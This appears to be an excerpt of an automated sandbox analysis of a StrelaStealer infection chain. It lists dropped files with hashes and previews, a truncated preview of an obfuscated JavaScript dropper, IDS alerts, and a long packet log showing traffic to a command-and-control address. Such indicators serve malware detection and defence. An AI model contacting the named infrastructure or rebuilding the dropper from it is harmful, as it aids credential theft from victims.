Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7c76e7b1-bdab-46e7-92bc-a313a18b68a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a5609b17-7ff7-4776-8a57-d8bf21b537ac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18328), with CRLF line terminators
Entropy (8bit):	4.883440798848737
TrID:
File name:	10323218772870612560.js
File size:	21'677 bytes
MD5:	88e4be145b5d8e6c49855a31a90b7599
SHA1:	8a4f934e6701977d9ab2c08f533e7ab0c9985cd6
SHA256:	1d939eb9baf7df34da4d50ee4028dc31ef7d45ddd63ca122d79590334e24fc2e
SHA512:	164960b9e1716270aa487c8f041307f8817909ebdead740527f90aff955160fbc938f27e1b836d4ccbd9e6a1529c77ad12730259d2d00e4c955ed8bcd47ca31a
SSDEEP:	384:jG5775G5EjpH9SapcZg9bBUnHnXJ3G5uCFXrebeQtMgEjnM8:S6+9SUcZg9bqnHBpCd6bFtMzjnM8
TLSH:	A2A264086C2EC51615D820BCA6C736E0057587CD46B0F1F63A63A7948389EF8E9D35FE
File Content Preview:	function ixigxizl(){ccckhhu=[1031,3079,5127,4103,2055,3072];var imhfl=this[fgcldqz+uzeoanye+pipfcy+itqtgf+ndusspy+hwmzyn+tacypcjb+uqvfjw](this[vkihlox+smjwz+mtkyvz+pipfcy+odlkhiern+fgcldqz+uqvfjw][vcpuw+pipfcy+ndusspy+uzeoanye+uqvfjw+ndusspy+moqcv+wcvtnep

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:08:23.829171+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T09:08:23.829171+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T09:08:25.932702+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:08:23.020325899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.025487900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.025712013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.028979063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.033792019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829066038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829092979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829104900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829116106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829133987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829145908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829157114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829166889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829170942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.829173088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829185963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.829263926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.829263926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.834072113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.873366117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.875365019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.875395060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.875441074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.953700066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.953739882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.953756094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.953768969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.953835964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.953937054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.953980923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954030037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954041958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954077005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954102993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.954157114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.954682112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954695940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954706907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954755068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954766989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.954776049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.954849958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.955617905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.955631971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.955643892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.955657959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.955693960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.955707073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.955743074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.955743074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.956568956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.956583023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.956594944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.956605911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:23.956636906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:23.956636906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.009167910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.009222031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.009259939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.009287119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.051399946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.051470995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.078692913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078716993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078733921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078752041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078763008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078783035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.078854084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.078967094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.078978062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079101086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079109907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.079111099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079122066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079169989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.079169989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.079361916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079416990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079468012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079477072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.079502106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079535961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079579115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.079963923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.079998016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080032110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080039024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.080204010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.080226898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080279112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080312967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080344915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.080364943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080399036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080413103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.080432892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.080490112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.080965996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081017971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081051111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081100941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081132889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081151962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.081151962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.081166029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081229925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081231117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.081828117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081880093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081914902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.081969023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.081969023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.082019091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082053900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082087994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082122087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082128048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.082611084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.082669020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082751036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082784891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082901001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082932949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.082941055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.082942009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.082969904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.083022118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.099644899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.099663019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.099674940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.099687099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.099729061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.099729061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.128191948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.128210068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.128321886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.134870052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.134887934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.134897947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.134968042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.169276953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.169291019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.169430971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.203542948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203553915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203564882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203577042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203650951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203660965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203670979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203681946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203701019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.203741074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.203741074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.203923941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203944921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.203990936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204026937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204063892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204073906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204118013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204206944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204238892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204287052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204298019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204298019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204339027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204371929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204381943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204613924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204647064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204647064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204655886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204668045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204727888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204735994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204818964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204829931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204840899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204853058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204884052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204884052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.204965115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204976082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.204984903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205029964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.205029964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.205493927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205503941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205513954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205560923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205570936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205580950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205591917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205648899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.205715895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205727100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205738068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.205790997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.205876112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.206216097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206258059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206268072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206302881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.206356049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206367016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206377029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206408978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.206504107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206513882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206520081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206526041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206532001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206537962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.206545115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.206674099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207243919 CET	80	49705	193.143.1.205	192.168.2.8
